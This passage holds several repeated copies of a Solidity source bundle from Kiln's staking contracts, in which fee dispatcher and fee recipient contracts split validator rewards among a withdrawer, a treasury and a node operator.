withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned 